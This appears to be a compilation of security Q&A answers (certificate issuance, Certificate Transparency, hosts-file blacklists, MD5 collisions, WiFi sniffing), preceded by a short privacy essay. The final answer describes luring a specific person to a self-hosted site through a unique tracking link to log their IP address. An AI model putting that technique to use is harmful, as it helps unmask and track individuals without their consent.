There has not been much rational effort toward individual privacy. Most of it came as an unexpected boon from the size of cities. In recent centuries, the way to escape the stifling ambiance of small villages has been to move to either isolated places where you could be all alone, or to crowded places like big cities. I don't expect it to change much. If we consider the example of social networks, we will see that most people don't really care about their privacy with regards to people they don't know. People post their photos on Facebook for the benefit of their friends and acquaintances, and are not overly worried that the whole World can see them as well. What worries people is what people they know will think about it (e.g. see the panic spread on the face of a college student when he learns that his dear mother has decided to "go on the Internet" and will thus gain access to all the photos demonstrating how the said student organizes his evening homework).

Indifference is the new "big city" for anonymity. My guess is that this is how society will react to privacy issues raised by Google Glass and similar technologies. In the (recent) past, you had privacy by virtue of nobody being able to associate your name with your face. In the future, you will have privacy by:

assuming that complete strangers do not care about associating your name with your face;
yourself not caring about whatever associations complete strangers can come up with.

It is up to you to decide whether you will be elated or depressed at this prospect.


Refreshing access token using access token

From my understanding, token is a stateless credential of access control, as such, tokens for accessing a particular service must have a reasonably limited lifetime.
Therefore, to gain such access, login and refresh tokens needs to be generated from a better-protected master key. This master key is typically the user credential (in the case of automated bots, application credential), and must be revocable should the service determine that it's being abused.
That's based on my experience of designing in-house applications, others may have better answers.


What prevents me from buying a SSL certificate for a domain I don't control?

This is more of a problem than you think, particularly for a company like Google, because they're a frequent target for this type of shenanigans. But there are several layers of safeguards, and our protection is getting better over time.
Your first line of defense is the Certificate Authority.
They shouldn't let certificates be signed inappropriately. Each CA has its own mechanism for verifying your entitlement to purchase a cert for a given domain, but typically it includes having you do one or more of the following:

Verify ownership of the email address listed in the WHOIS info for the domain.
Verify ownership of an email address that follows one of several predetermined patterns on the domain (e.g. "administrator@{domain}")
Create a specific DNS record on the domain
Make a specific change to the website hosted at that domain

But with as many CAs as we have, a surprising number of inappropriate certs get issued. This is a case of, "you had literally ONE job," but we have to accept that mistakes will happen.
Certificate Transparency was created to help audit the CAs
There's a surprising lack of accountability and transparency on the part of CAs, so Google decided to do something about it with Certificate Transparency.
This is a public log of every certificate that the CA signs; if a cert doesn't show up in the log then it's not valid, and the log is append-only; you can't go back and scrub your history. It's still relatively new, but Chrome already requires it on certain CAs, including all EV CAs. The idea is that you can follow the log and see if your domain shows up when it shouldn't. Tools are still evolving to make this simpler, but it's a very promising technology.
Your final line of defense is key pinning
The more secure browsers will allow domain owners to "pin" one or more public keys to their domain. This is an end-around the whole PKI system and injects the trust directly into the browser. Domain owners can, via HTTP header, tell the browser to only allow certs with specific public keys, and can in fact ship that assertion pre-installed on the browser itself. This prevents an unauthorized certificate from being used, even if it has a valid CA signature.
DNSSEC and DANE is where this is eventually going to go
Probably. With DNSSEC, you can sign your DNS records, which means that you can put your public key signature right there in DNS. Which means you don't need a third-party certificate authority to sign your keys. That's a pretty elegant solution, but DNSSEC is a way off still; you can't use it with a number of OSes, and adoption is positively glacial.


Any additional security with large blacklisting hosts file?

Hosts file blacklists only provide protection by mapping specific domains away from their intended targets (generally to local). This does not block IPs or data transfer, just the lookup of the IP. I'd say the added value is minimal, especially if you're using local blocking like AdBlock or Ghostery. If you want to blacklist "known threats", use IP blocking software with a well-maintained list. If you want to be totally secure, unplug the ethernet cable.

As you've pointed out, it causes a major slowdown with DNS lookups (it linearly parses the text file on DNS cache miss). That's because the hosts file was never intended to be used as a blacklist.

edit:
Here's script to use Windows Firewall to block IPs: http://www.sans.org/windows-security/2011/10/25/windows-firewall-script-block-addresses-network-ranges


How exactly is MD5 vulnerable to collission attacks?

One common example I've seen involves digitally signing documents using MD5.

Say you have two documents. One of the documents is very innocent, and the other is something malicious. Since you can create both of these documents, you can make it so that they have the same MD5 signatures (using postscript to make the PDFs, for example).

Now you you get somebody to sign the innocent document (which is typically done by signing a hash of the document), but because the hash of both documents is the same, the person just accidentally also signed the malicious document (which might say something like "I give permission for this person to take a million dollars out of my bank account). Now you can present the malicious document to someone else and they will believe the signature on it because of the collision in the document.


Can WiFi packets be sniffed/decrypted if you don't have access to the network?

Unless you are not using any security at all on your Wifi, no. Nobody but those connected can read anything. Please don't tell me your network is unprotected.
If you have your network "protected" by WEP, someone can crack the password in minutes, and begin decrypting the traffic. But if you use WPA2, it's very difficult. No matter what protection you have, unless the attacker gets your network password, they cannot read anything but encrypted blobs of data. No matter if UDP or TCP, they cannot.
On a cable things are different. If they tap into the wires, they can read all unencrypted traffic. All HTTP traffic is plaintext, and all non-encrypted protocol as well (FTP, SMTP, DNS, telnet).


get ip address of person from facebook chat

IP addresses are rarely a good way to identify someone: home IPs change often depending on the ISP, and the NAT'ed IP won't necessarily enable you to legally implicate someone within the network if there are multiple clients.

The best way to de-obfuscate someone is to convince them to give up their info willingly. Standing up a forum or website that you convince them to visit or register for is one method with the fewest legal pitfalls(provided you don't misrepresent yourself). This will also enable you to see the IP they connect from, but as noted, this is not sufficient by itself to determine the identity of someone.

To be sure you find the IP of the person you intended and not some random visitor, you can configure your site to redirect all requests to some default page (e.g. index.php), and hand them a link with some random junk appended:

hxxps://mysite.io/j4hhh5j3 -> 503 redirect to index.php

Then just locate that GET request within your apache access.log, and voila.

Keep in mind that this is just surface-level stuff; it takes 20 minutes to get a domain, get an ssl cert (zerossl.com is a good way), stand up a server on AWS, and set up a simple php website.

If this seems too complex, you probably shouldn't be trying it. Report and/or block them and move on.